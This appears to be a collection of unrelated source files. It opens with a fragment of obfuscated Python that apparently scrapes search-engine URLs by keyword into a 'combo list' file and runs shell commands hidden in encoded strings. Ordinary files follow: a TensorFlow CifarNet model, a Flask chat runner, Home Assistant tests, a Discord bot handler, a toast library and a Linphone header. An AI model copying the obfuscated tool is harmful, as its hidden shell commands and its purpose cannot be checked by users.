l1 = input(Fore.GREEN + Style.DIM + l11lllll (u"ࠩࠣࡂࠥࡋࡵࡧࡵࠤࡐࡹࡸࡱࡵࡨࡸࠦࡓࡦࡲࡨࡶࡦࡺࡥࡥࠢࡥࡽࠥࡉࡤࡷࠥࠬࠪࠢ࠽ࠤࠬࣂ") + Fore.RESET + Style.DIM)
l1 = l1.strip()
l1 = l1.strip(l11lllll (u"ࠪ࠰ࠬࣃ"))
if l1 == l11lllll (u"ࠫࠬࣄ") or l1 == None:
raise l1l1l11
else:
l1l11ll = l1.split(l11lllll (u"ࠬ࠲ࠧࣅ"))
print(Style.RESET_ALL)
for x in l1l11ll:
l11l1ll1.append(x.strip())
break
except l1l1l11:
print(Fore.RED + Style.NORMAL + l11lllll (u"࠭ࠠࠢࡌࡲࡻࡧࡪࡦࠣࡍࡳࡶࡵࡵ࠰ࠣࠫࣆ") + Style.RESET_ALL)
continue
#l1l1111 = l1ll1111()
l1l11l = 0
l1ll1lll = [l11lllll (u"ࠢࡈࡱࡲࡱࠢࣇ")]
l1ll11 = {}
l111 = {l11lllll (u"ࠨࡉࡲࡳࡲࡥࠨࣈ"):[
l11lllll (u"ࠩࡄࡲࡾࠦࡔࡪࡨࠫࣉ"), l11lllll (u"ࠪࡔࡦࡹࡴࠡࡊࡲࡹࡷ࠭࣊"), l11lllll (u"ࠫࡕࡧࡳࡵࠢ࠵࠸ࠥࡎࡶࡴࡶࠫ࣋"), l11lllll (u"ࠬࡖࡡࡴࡶ࡛ࠣࡪࠨ࣌"), l11lllll (u"࠭ࡐࡢࡵࡷࠤࡒࡵࡵࡪࠪ࣍"), l11lllll (u"ࠧࡑࡣࡶࡸࠥࡥࡢࡴࠪ࣎")],
l11lllll (u"ࠨࡆࡸࡧࡰࡊࡵࡤࡊࡳ࣏ࠬ"):[l11lllll (u"ࠩࡄࡲࡾࠦࡔࡪࡨ࣐ࠫ")]}
for l1ll11l in l1ll1lll:
l11ll11l = SelectMenu()
l11ll11l.add_choices(l111[l1ll11l])
l11l111 = l11ll11l.select(l11lllll (u"ࠪࠤࡃ࡛ࠦࠨ࣑") + l1ll11l + l11lllll (u"ࠫࡢࠦࡆࡪࡰࡧࠤࡗࡳࡶࡷࡷࠥࡵࡦࠡ࠼࣒ࠣࠫ"))
if l11l111 == l11lllll (u"ࠬࡇࡺࠢࡗࡲ࣓ࠧ"):
l1ll11[l1ll11l] = l11lllll (u"࠭ࡺࠨࣔ")
elif l11l111 == l11lllll (u"ࠧࡑࡣࡶࡸࠥࡎࡶࡴࠪࣕ"):
l1ll11[l1ll11l] = l11lllll (u"ࠨࡪࠪࣖ")
elif l11l111 == l11lllll (u"ࠩࡓࡥࡸࡺࠠ࠳࠶ࠣࡌࡴࡻࡲࡴࠩࣗ"):
l1ll11[l1ll11l] = l11lllll (u"ࠪࡨࠬࣘ")
elif l11l111 == l11lllll (u"ࠫࡕࡧࡳࡵ࡚ࠢࡩࡪࡱࠧࣙ"):
l1ll11[l1ll11l] = l11lllll (u"ࠬࡽࠧࣚ")
elif l11l111 == l11lllll (u"࠭ࡐࡢࡵࡷࠤࡒࡵࡵࡪࠪࣛ"):
l1ll11[l1ll11l] = l11lllll (u"ࠧࠩࣜ")
elif l11l111 == l11lllll (u"ࠨࡒࡤࡷࡹ࡙ࠦࡦࡣࡵࠫࣝ"):
l1ll11[l1ll11l] = l11lllll (u"ࠩࡼࠫࣞ")
else:
l1ll11[l1ll11l] = l11lllll (u"ࠪࡾࠬࣟ")
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠫࠥࡄࠠࡇࡱࡨࡴࡧࠡࡔࡨࡷࡺࡲࡴࡴࠢࡲࡪࠥ࠭࣠") + Style.NORMAL + l11l111 + Style.DIM + l11lllll (u"ࠬࠦࡦࡰࡴࠣࠫ࣡") + Fore.GREEN + Style.NORMAL + l1ll11l + Fore.GREEN + Style.DIM + l11lllll (u"࠭ࠨ"))
while True:
try:
l1l1l1l = input(Fore.GREEN + Style.DIM + l11lllll (u"ࠧࠡࡀࠣࡉࡳࡺࡥࡳࠢࡉࡱࠠࡏࡣࡰࡩࠥࡺࠡࡕࡷࡳࡷࠠࡄࡱࡰࡦࡴࠦࡌࡪࡵࡷࠤࣣࠦࠧ") + Style.RESET_ALL + Style.DIM)
if l1l1l1l == l11lllll (u"ࠨࠩࣤ") or l1l1l1l == None:
raise l1l1l11
else:
if l11lllll (u"ࠩ࠱ࡸࡽࡺࠧࣥ") not in l1l1l1l:
l1l1l1l = l1l1l1l.strip() + l11lllll (u"ࠪ࠲ࡹࡾࡴࠨࣦ")
l1111ll = l11111 + l11lllll (u"ࠫࡈࡵࡣࡱࡏࡸࡺࡳ࠰ࠩࣧ") + l1l1l1l
if os.path.isfile(l1111ll):
raise l1l1l11l
break
except l1l1l11l:
l1111 = input(Fore.RED + Style.DIM + l11lllll (u"ࠬࠦ࠾ࠡࡈࡰࡪࠦࡁࡴࡨࡥࡩࡿࠠࡆࡺࡷࡹࡹࠡࡑࡹࡩࡷࡽࡲࡪࡶࡨࡃࠥࡡࠠࠨࣨ") + Fore.GREEN + Style.DIM + l11lllll (u"࠭ࡹࡦࡵࣩࠪ") + Fore.RED + Style.DIM + l11lllll (u"ࠧ࠰ࡰࡲࠤࡢࠦ࠺ࠡࠩ࣪") + Style.RESET_ALL + Style.DIM)
if l1111.lower() == l11lllll (u"ࠨࡻࡨࡷࠬ࣫"):
print(Fore.RED + Style.DIM + l11lllll (u"ࠩࠣࡂࠥࡕࡶࡦࡴࡺࡶࡺࡩࡩࠣࡊࡲࡥࠩ࣬"))
os.system(l11lllll (u"ࠪࡶࡲ࣭ࠦࠧ") + l1111ll)
break
else:
continue
except l1l1l11:
print(Fore.RED + Style.NORMAL + l11lllll (u"ࠫࠥࡄࠠࡊࡰࡹࡥࡱࡤࠡࡋࡱࡴࡺࡺ࣮ࠡࠩ") + Style.RESET_ALL)
continue
for l111lll in l11l1ll1:
try:
for l1ll11l in l1ll1lll:
if l1ll11l == l11lllll (u"ࠬࡍࡰࡩࡩ࣯ࠬ"):
print(Fore.GREEN + Style.DIM + l11lllll (u"࠭ࠠࠢ࡞ࡋࡴࡵࡧࡧࡠࠤࡘࡩࡲࡢࡲࡲࠦࡋࡦࡻࡺࡳࡷࡪࠠ࠻ࣰࠢࠪ") + Style.BRIGHT + str(l111lll) + Style.RESET_ALL)
time.sleep(1)
l1l11l1l = l1llllll(l11lllll (u"ࠧࡴࡷࡩࡶࡡࡴࡶࡨࡦࡴࡤࡱࡰࠤࡴࡴࡦࡺࡷ࠾ࣱࠬ") + l111lll)
l1l1 = threading.Thread(name=l11lllll (u"ࠨࡵࡦࡶࡦࡶࡩࡩࡢࡸࡸࡥࡢࡦࣲࠪ"), target=(l1l11l1l.l11), args=(l1ll11[l1ll11l]))
l1l1.start()
while l1l1.is_alive():
if not l1l11l1l.l1ll1l11:
l1l11l1l.l1l1lll()
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠩࡲࠥࡄࠠࡉࡲࡳࡲࡥ࡞ࠢࡖࡩࡦࡸࡣࡩࠢࡆࡳࡲࡶࡦࡶࡨࡨ࠳ࠦࡔࡰࡶࡤࡰ࡛ࠥࡒࡍࡵࠣࡊࡴࡻࡥࠢ࠽ࠤࠬࣳ") + Style.NORMAL + str(len(l1ll)))
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠪࡠࡳࠦ࠾ࠡࡇࡹࡨࡱࡄࡶࡥࡋࡴࡣࠠࡔࡧࡤࡶࡨࠠࡄࡱࡰࡴࡱࡴࡦࡦ࠱ࠤ࡙ࡵࡴࡢ࡙ࠣࡗࡒࡳࠡࡈࡲࡹࡳࡪࠠ࠻ࠢࠪࣴ") + Style.NORMAL + str(len(l1ll)))
except KeyboardInterrupt:
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠫࠥࡢࠡࡀࠣࡗࡰࡰࡱࡱࠥࡘࡥࡴࡶࠣࡳࠦࡴࡩࡧࠣࡏࡪࡿࡷࡰࡴࡧࡷ࠳࠭ࣵ"))
break
print(Fore.GREEN + Style.NORMAL + l11lllll (u"ࠬࠦ࠾ࠡࡕࡦࡶࡦࡶࡩࡩࠣࡇࡴࡳࡰࡧࡷࡩ࠳ࣶࠦࠧ") + Fore.CYAN + Style.BRIGHT + str(len(l1ll)) + Fore.GREEN + Style.NORMAL + l11lllll (u"࠭ࠠࡖࡔࡏࡷࠥࡌࡶࡰࡧ࠲ࠬࣷ"))
l1ll = list(dict.fromkeys(l1ll))
print(Fore.GREEN + Style.NORMAL + l11lllll (u"ࠧࠡࡀࠣࡇࡱࡡࡱ࡛ࠥࡒࡍࡵࠣࠪࠥࡘࡥࡱࡹࡳࠠࡅࡷࡳࡰࡩࡡࡵࡧࡶ࠲ࠥ࠭ࣸ") + Fore.CYAN + Style.BRIGHT + str(len(l1ll)) + Fore.GREEN + Style.NORMAL + l11lllll (u"ࠨࠢࡘࡖࡑࡹࠠࡓࡧࡰࡥࡴࠨࣹ"))
l111ll1 = input(Fore.GREEN + Style.BRIGHT + l11lllll (u"ࠩࠣࡂࠥࡖࡲࡦࡵࡶࠤࡊࡴࡴࡦࡴࠣࡸࡴࠦࡂࡦࡩࡲࠥࡒࡥࡦࡥࡳࠨࣺ") + Style.RESET_ALL)
l11l1lll = l111lll1(l1111ll)
l11l1lll.l1l1111l(l1ll)
except KeyboardInterrupt:
try:
l1llll11 = 0
with open(l11l1lll.filename, l11lllll (u"ࠪࡶࠬࣻ")) as l11l111l:
for line in l11l111l:
l1llll11 = l1llll11 + 1
print(Fore.RED + Style.NORMAL + l11lllll (u"ࠫࡡࡴࠠࠢࡄࡦࡴࡸࡴࡪࡰࡪࠤࡕࡸࡨࡴࡤࡱ࠳࠭ࣼ"))
print(Fore.RED + Style.DIM + l11lllll (u"ࠬࠦ࠾ࠡࡅࡲࡱࡧࡵࡳࠡࡅࡲࡰࡱࡣࡵࡧࡧࠤࠦࠧࣽ") + str(l1llll11))
os.system(l11lllll (u"࠭ࡪࠤࠬࣾ") + str(os.getpid()))
except:
print(Fore.RED + Style.DIM + l11lllll (u"ࠧࠡࡀࠣࡇࡴࡳࡢࡰࡵࠣࡇࡴࡲࡦࡥࡷࡩࡩࠦ࠺ࠡ࠲ࠪࣿ"))
os.system(l11lllll (u"ࠨࡰࡱࠦࠧऀ") + str(os.getpid()))
exit()
|
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Contains a variant of the CIFAR-10 model definition."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
slim = tf.contrib.slim
trunc_normal = lambda stddev: tf.truncated_normal_initializer(stddev=stddev)
def cifarnet(images, num_classes=10, is_training=False,
dropout_keep_prob=0.5,
prediction_fn=slim.softmax,
scope='CifarNet'):
"""Creates a variant of the CifarNet model.
Note that since the output is a set of 'logits', the values fall in the
interval of (-infinity, infinity). Consequently, to convert the outputs to a
probability distribution over the characters, one will need to convert them
using the softmax function:
logits = cifarnet.cifarnet(images, is_training=False)
probabilities = tf.nn.softmax(logits)
predictions = tf.argmax(logits, 1)
Args:
images: A batch of `Tensors` of size [batch_size, height, width, channels].
num_classes: the number of classes in the dataset.
is_training: specifies whether or not we're currently training the model.
This variable will determine the behaviour of the dropout layer.
dropout_keep_prob: the percentage of activation values that are retained.
prediction_fn: a function to get predictions out of logits.
scope: Optional variable_scope.
Returns:
logits: the pre-softmax activations, a tensor of size
[batch_size, `num_classes`]
end_points: a dictionary from components of the network to the corresponding
activation.
"""
end_points = {}
with tf.variable_scope(scope, 'CifarNet', [images, num_classes]):
net = slim.conv2d(images, 64, [5, 5], scope='conv1')
end_points['conv1'] = net
net = slim.max_pool2d(net, [2, 2], 2, scope='pool1')
end_points['pool1'] = net
net = tf.nn.lrn(net, 4, bias=1.0, alpha=0.001/9.0, beta=0.75, name='norm1')
net = slim.conv2d(net, 64, [5, 5], scope='conv2')
end_points['conv2'] = net
net = tf.nn.lrn(net, 4, bias=1.0, alpha=0.001/9.0, beta=0.75, name='norm2')
net = slim.max_pool2d(net, [2, 2], 2, scope='pool2')
end_points['pool2'] = net
net = slim.flatten(net)
end_points['Flatten'] = net
net = slim.fully_connected(net, 384, scope='fc3')
end_points['fc3'] = net
net = slim.dropout(net, dropout_keep_prob, is_training=is_training,
scope='dropout3')
net = slim.fully_connected(net, 192, scope='fc4')
end_points['fc4'] = net
logits = slim.fully_connected(net, num_classes,
biases_initializer=tf.zeros_initializer(),
weights_initializer=trunc_normal(1/192.0),
weights_regularizer=None,
activation_fn=None,
scope='logits')
end_points['Logits'] = logits
end_points['Predictions'] = prediction_fn(logits, scope='Predictions')
return logits, end_points
cifarnet.default_image_size = 32
def cifarnet_arg_scope(weight_decay=0.004):
"""Defines the default cifarnet argument scope.
Args:
weight_decay: The weight decay to use for regularizing the model.
Returns:
An `arg_scope` to use for the re_inception v3 model.
"""
with slim.arg_scope(
[slim.conv2d],
weights_initializer=tf.truncated_normal_initializer(stddev=5e-2),
activation_fn=tf.nn.relu):
with slim.arg_scope(
[slim.fully_connected],
biases_initializer=tf.constant_initializer(0.1),
weights_initializer=trunc_normal(0.04),
weights_regularizer=slim.l2_regularizer(weight_decay),
activation_fn=tf.nn.relu) as sc:
return sc
|
#!/bin/env python
from app import createApp, socketio
import sys, getopt
app = createApp(debug=True)
if __name__ == '__main__':
farport = 5000
try:
opts, args = getopt.getopt(sys.argv[1:],"hp",["port="])
except getopt.GetoptError:
print 'chat.py -p <portnumber>'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print 'chat.py -p <portnumber>'
sys.exit()
elif opt in ("-p", "--port"):
farport = int(arg)
print 'Running on port: ' + str(farport)
socketio.run(app, host='0.0.0.0', port=farport)
|
"""Test function in __init__.py."""
from __future__ import annotations
from collections.abc import Awaitable, Callable
from typing import Any
from unittest.mock import patch
from aiohttp import ClientWebSocketResponse
from mysensors import BaseSyncGateway
from mysensors.sensor import Sensor
import pytest
from homeassistant.components.mysensors import (
CONF_BAUD_RATE,
CONF_DEVICE,
CONF_GATEWAYS,
CONF_PERSISTENCE,
CONF_PERSISTENCE_FILE,
CONF_RETAIN,
CONF_TCP_PORT,
CONF_VERSION,
DEFAULT_VERSION,
DOMAIN,
)
from homeassistant.components.mysensors.const import (
CONF_GATEWAY_TYPE,
CONF_GATEWAY_TYPE_MQTT,
CONF_GATEWAY_TYPE_SERIAL,
CONF_GATEWAY_TYPE_TCP,
CONF_TOPIC_IN_PREFIX,
CONF_TOPIC_OUT_PREFIX,
)
from homeassistant.core import HomeAssistant
from homeassistant.helpers import device_registry as dr, entity_registry as er
from homeassistant.helpers.typing import ConfigType
from homeassistant.setup import async_setup_component
from tests.common import MockConfigEntry
@pytest.mark.parametrize(
"config, expected_calls, expected_to_succeed, expected_config_entry_data",
[
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "COM5",
CONF_PERSISTENCE_FILE: "bla.json",
CONF_BAUD_RATE: 57600,
CONF_TCP_PORT: 5003,
}
],
CONF_VERSION: "2.3",
CONF_PERSISTENCE: False,
CONF_RETAIN: True,
}
},
1,
True,
[
{
CONF_GATEWAY_TYPE: CONF_GATEWAY_TYPE_SERIAL,
CONF_DEVICE: "COM5",
CONF_PERSISTENCE_FILE: "bla.json",
CONF_BAUD_RATE: 57600,
CONF_VERSION: "2.3",
CONF_TCP_PORT: 5003,
CONF_TOPIC_IN_PREFIX: "",
CONF_TOPIC_OUT_PREFIX: "",
CONF_RETAIN: True,
}
],
),
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "127.0.0.1",
CONF_PERSISTENCE_FILE: "blub.pickle",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 343,
}
],
CONF_VERSION: "2.4",
CONF_PERSISTENCE: False,
CONF_RETAIN: False,
}
},
1,
True,
[
{
CONF_GATEWAY_TYPE: CONF_GATEWAY_TYPE_TCP,
CONF_DEVICE: "127.0.0.1",
CONF_PERSISTENCE_FILE: "blub.pickle",
CONF_TCP_PORT: 343,
CONF_VERSION: "2.4",
CONF_BAUD_RATE: 115200,
CONF_TOPIC_IN_PREFIX: "",
CONF_TOPIC_OUT_PREFIX: "",
CONF_RETAIN: False,
}
],
),
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "127.0.0.1",
}
],
CONF_PERSISTENCE: False,
CONF_RETAIN: False,
}
},
1,
True,
[
{
CONF_GATEWAY_TYPE: CONF_GATEWAY_TYPE_TCP,
CONF_DEVICE: "127.0.0.1",
CONF_TCP_PORT: 5003,
CONF_VERSION: DEFAULT_VERSION,
CONF_BAUD_RATE: 115200,
CONF_TOPIC_IN_PREFIX: "",
CONF_TOPIC_OUT_PREFIX: "",
CONF_RETAIN: False,
CONF_PERSISTENCE_FILE: "mysensors1.pickle",
}
],
),
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "mqtt",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
CONF_TOPIC_IN_PREFIX: "intopic",
CONF_TOPIC_OUT_PREFIX: "outtopic",
}
],
CONF_PERSISTENCE: False,
CONF_RETAIN: False,
}
},
1,
True,
[
{
CONF_GATEWAY_TYPE: CONF_GATEWAY_TYPE_MQTT,
CONF_DEVICE: "mqtt",
CONF_VERSION: DEFAULT_VERSION,
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
CONF_TOPIC_OUT_PREFIX: "outtopic",
CONF_TOPIC_IN_PREFIX: "intopic",
CONF_RETAIN: False,
CONF_PERSISTENCE_FILE: "mysensors1.pickle",
}
],
),
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "mqtt",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
}
],
CONF_PERSISTENCE: False,
CONF_RETAIN: False,
}
},
0,
True,
[{}],
),
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "mqtt",
CONF_PERSISTENCE_FILE: "bla.json",
CONF_TOPIC_OUT_PREFIX: "out",
CONF_TOPIC_IN_PREFIX: "in",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
},
{
CONF_DEVICE: "COM6",
CONF_PERSISTENCE_FILE: "bla2.json",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
},
],
CONF_VERSION: "2.4",
CONF_PERSISTENCE: False,
CONF_RETAIN: False,
}
},
2,
True,
[
{
CONF_DEVICE: "mqtt",
CONF_PERSISTENCE_FILE: "bla.json",
CONF_TOPIC_OUT_PREFIX: "out",
CONF_TOPIC_IN_PREFIX: "in",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
CONF_VERSION: "2.4",
CONF_RETAIN: False,
CONF_GATEWAY_TYPE: CONF_GATEWAY_TYPE_MQTT,
},
{
CONF_DEVICE: "COM6",
CONF_PERSISTENCE_FILE: "bla2.json",
CONF_TOPIC_OUT_PREFIX: "",
CONF_TOPIC_IN_PREFIX: "",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
CONF_VERSION: "2.4",
CONF_RETAIN: False,
CONF_GATEWAY_TYPE: CONF_GATEWAY_TYPE_SERIAL,
},
],
),
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "mqtt",
CONF_PERSISTENCE_FILE: "bla.json",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
},
{
CONF_DEVICE: "COM6",
CONF_PERSISTENCE_FILE: "bla.json",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
},
],
CONF_VERSION: "2.4",
CONF_PERSISTENCE: False,
CONF_RETAIN: False,
}
},
0,
False,
[{}],
),
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "COMx",
CONF_PERSISTENCE_FILE: "bla.json",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
},
],
CONF_VERSION: "2.4",
CONF_PERSISTENCE: False,
CONF_RETAIN: False,
}
},
0,
True,
[{}],
),
(
{
DOMAIN: {
CONF_GATEWAYS: [
{
CONF_DEVICE: "COM1",
},
{
CONF_DEVICE: "COM2",
},
],
}
},
2,
True,
[
{
CONF_DEVICE: "COM1",
CONF_PERSISTENCE_FILE: "mysensors1.pickle",
CONF_TOPIC_OUT_PREFIX: "",
CONF_TOPIC_IN_PREFIX: "",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
CONF_VERSION: "1.4",
CONF_RETAIN: True,
CONF_GATEWAY_TYPE: CONF_GATEWAY_TYPE_SERIAL,
},
{
CONF_DEVICE: "COM2",
CONF_PERSISTENCE_FILE: "mysensors2.pickle",
CONF_TOPIC_OUT_PREFIX: "",
CONF_TOPIC_IN_PREFIX: "",
CONF_BAUD_RATE: 115200,
CONF_TCP_PORT: 5003,
CONF_VERSION: "1.4",
CONF_RETAIN: True,
CONF_GATEWAY_TYPE: CONF_GATEWAY_TYPE_SERIAL,
},
],
),
],
)
async def test_import(
hass: HomeAssistant,
mqtt: None,
config: ConfigType,
expected_calls: int,
expected_to_succeed: bool,
expected_config_entry_data: list[dict[str, Any]],
) -> None:
"""Test importing a gateway."""
with patch("sys.platform", "win32"), patch(
"homeassistant.components.mysensors.config_flow.try_connect", return_value=True
), patch(
"homeassistant.components.mysensors.async_setup_entry",
return_value=True,
) as mock_setup_entry:
result = await async_setup_component(hass, DOMAIN, config)
assert result == expected_to_succeed
await hass.async_block_till_done()
assert len(mock_setup_entry.mock_calls) == expected_calls
for idx in range(expected_calls):
config_entry = mock_setup_entry.mock_calls[idx][1][1]
expected_persistence_file = expected_config_entry_data[idx].pop(
CONF_PERSISTENCE_FILE
)
expected_persistence_path = hass.config.path(expected_persistence_file)
config_entry_data = dict(config_entry.data)
persistence_path = config_entry_data.pop(CONF_PERSISTENCE_FILE)
assert persistence_path == expected_persistence_path
assert config_entry_data == expected_config_entry_data[idx]
async def test_remove_config_entry_device(
hass: HomeAssistant,
gps_sensor: Sensor,
integration: MockConfigEntry,
gateway: BaseSyncGateway,
hass_ws_client: Callable[[HomeAssistant], Awaitable[ClientWebSocketResponse]],
) -> None:
"""Test that a device can be removed ok."""
entity_id = "sensor.gps_sensor_1_1"
node_id = 1
config_entry = integration
assert await async_setup_component(hass, "config", {})
await hass.async_block_till_done()
device_registry = dr.async_get(hass)
device_entry = device_registry.async_get_device(
identifiers={(DOMAIN, f"{config_entry.entry_id}-{node_id}")}
)
entity_registry = er.async_get(hass)
state = hass.states.get(entity_id)
assert gateway.sensors
assert gateway.sensors[node_id]
assert device_entry
assert state
client = await hass_ws_client(hass)
await client.send_json(
{
"id": 5,
"type": "config/device_registry/remove_config_entry",
"config_entry_id": config_entry.entry_id,
"device_id": device_entry.id,
}
)
response = await client.receive_json()
assert response["success"]
await hass.async_block_till_done()
assert node_id not in gateway.sensors
assert gateway.tasks.persistence.need_save is True
assert not device_registry.async_get_device(
identifiers={(DOMAIN, f"{config_entry.entry_id}-1")}
)
assert not entity_registry.async_get(entity_id)
assert not hass.states.get(entity_id)
|
exports.load = (gateway, discord) => {
gateway.event("error", (client, error, msg, text) => {
discord.getCurrentUser().then(bot => {
function responseText(errorMessage) {
discord.createMessage(msg, {
embed: {
title: "Błąd!",
description: errorMessage,
color: 0xe74c3c,
footer: {
text: "Błąd || Skyndalex v1",
icon_url: `https://cdn.discordapp.com/avatars/${bot.id}/${bot.avatar}.png`
}
}
})
}
switch (error) {
case "commandnotfound":
responseText("Nie znaleziono takiej komendy");
break;
case "noargs":
responseText(`Poprawne użycie komendy to \`${client.command.usage}\``);
break;
case "cooldown":
responseText("Musisz poczekać 3 sekundy przed użyciem komendy");
break;
case "nsfw":
responseText("Kanał musi być nsfw");
break;
case "nopermission":
responseText("Nie masz uprawnień");
break;
case "unknown":
responseText(text);
break;
}
})
})
}
|
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define('toastmaker', ['exports'], factory) :
(factory((global.toastmaker = {})));
}(this, (function (exports) {
'use strict';
let toasts = {
error: {
type: 'error',
title: 'Error!',
text: 'Something went wrong'
},
success: {
type: 'success',
title: 'Sucees',
text: "Done"
},
warning: {
type: 'warning',
title: 'warning',
text: "You got a warning"
},
info: {
type: 'info',
title: 'info',
text: "default info"
},
toast: (toast) => {
return {
type: toast.type ||'success',
title: toast.title || '',
text: toast.text || ''
}
}
}
let config = {
position: "toast-bottom-right",
callback: _ => { }, // attach call back
showMethod: "slideDown", //slideDown, fadeIn
hideMethod: "slideUp", //fadeOut, slideUp
closeButton: true,
debug: false,
newestOnTop: false,
progressBar: true,
preventDuplicates: true,
tapToDismiss: true,
showDuration: 400,
hideDuration: 400,
timeOut: 5,
};
let create = (toast, setting) => {
// type = success, error, info, warning,
applySettings(setting);
let type = toast.type || "success";
let title = toast.title || "";
let text = toast.text || "";
toastr[type](text, title);
}
let applySettings = (options) => {
if (options) {
toastr.options = {
"closeButton": options.closeButton || false,
"debug": options.debug || false,
"newestOnTop": options.newestOnTop || false,
"progressBar": options.progressBa || true,
"preventDuplicates": options.preventDuplicates || false,
"tapToDismiss": options.tapToDismiss || true,
"showDuration": options.showDuration || 1000 * .4,// default .4 sec
"hideDuration": options.hideDuration || 1000 * .4,
"timeOut": 1000 * options.timeOut || 1000 * 5,
"extendedTimeOut": 3000,
"onclick": _ => options.callback || null, // attach call back
// toast-top-right, toast-bottom-right, toast-bottom-left, toast-top-left, toast-top-full-width,
// toast-bottom-full-width, toast-top-center, toast-bottom-center
"positionClass": options.position || "toast-top-right",
"showMethod": options.showMethod || "slideDown", //slideDown, fadeIn
"hideMethod": options.hideMethod || "slideUp", //fadeOut, slideUp
"showEasing": "swing",
"hideEasing": "linear"
}
}
}
applySettings(config);
// Export to others
exports.createToast = create;
exports.toasts = toasts;
exports.config = config;
Object.defineProperty(exports, '__esModule', { value: true });
})))
|
# Combines 2 pareto fromtier obtained from the separability test into a new one.
from get_pareto import Point, ParetoSet
from sympy.parsing.sympy_parser import parse_expr
import numpy as np
import matplotlib.pyplot as plt
import os
from os import path
from sympy import Symbol, lambdify, N
from get_pareto import Point, ParetoSet
from S_get_expr_complexity import get_expr_complexity
def add_sym_on_pareto(filename,PA1,idx1,idx2,PA,sym_typ):
possible_vars = ["x%s" %i for i in np.arange(0,30,1)]
PA1 = np.array(PA1.get_pareto_points()).astype('str')
for i in range(len(PA1)):
exp1 = PA1[i][2]
for j in range(len(possible_vars)-2,idx2-1,-1):
exp1 = exp1.replace(possible_vars[j],possible_vars[j+1])
exp1 = exp1.replace(possible_vars[idx1],"(" + possible_vars[idx1] + sym_typ + possible_vars[idx2] + ")")
compl = get_expr_complexity(exp1)
PA.add(Point(x=compl,y=float(PA1[i][1]),data=str(exp1)))
return PA
|
/***************************************************************************
* lpconfig.h
*
* Thu Mar 10 15:02:49 2005
* Copyright 2005 Simon Morlat
* Email simon.morlat@linphone.org
****************************************************************************/
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Library General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifndef LPCONFIG_H
#define LPCONFIG_H
#include <mediastreamer2/mscommon.h>
#include <ortp/port.h>
#ifndef LINPHONE_PUBLIC
#define LINPHONE_PUBLIC MS2_PUBLIC
#endif
/**
* The LpConfig object is used to manipulate a configuration file.
*
* @ingroup misc
* The format of the configuration file is a .ini like format:
* - sections are defined in []
* - each section contains a sequence of key=value pairs.
*
* Example:
* @code
* [sound]
* echocanceler=1
* playback_dev=ALSA: Default device
*
* [video]
* enabled=1
* @endcode
**/
typedef struct _LpConfig LpConfig;
#ifdef __cplusplus
extern "C" {
#endif
/**
* Instantiates a LpConfig object from a user config file.
* The caller of this constructor owns a reference. lp_config_unref() must be called when this object is no longer needed.
* @ingroup misc
* @param filename the filename of the config file to read to fill the instantiated LpConfig
* @see lp_config_new_with_factory
*/
LINPHONE_PUBLIC LpConfig * lp_config_new(const char *filename);
/**
* Instantiates a LpConfig object from a user provided buffer.
* The caller of this constructor owns a reference. lp_config_unref() must be called when this object is no longer needed.
* @ingroup misc
* @param buffer the buffer from which the lpconfig will be retrieved. We expect the buffer to be null-terminated.
* @see lp_config_new_with_factory
* @see lp_config_new
*/
LINPHONE_PUBLIC LpConfig * lp_config_new_from_buffer(const char *buffer);
/**
* Instantiates a LpConfig object from a user config file and a factory config file.
* The caller of this constructor owns a reference. lp_config_unref() must be called when this object is no longer needed.
* @ingroup misc
* @param config_filename the filename of the user config file to read to fill the instantiated LpConfig
* @param factory_config_filename the filename of the factory config file to read to fill the instantiated LpConfig
* @see lp_config_new
*
* The user config file is read first to fill the LpConfig and then the factory config file is read.
* Therefore the configuration parameters defined in the user config file will be overwritten by the parameters
* defined in the factory config file.
*/
LINPHONE_PUBLIC LpConfig * lp_config_new_with_factory(const char *config_filename, const char *factory_config_filename);
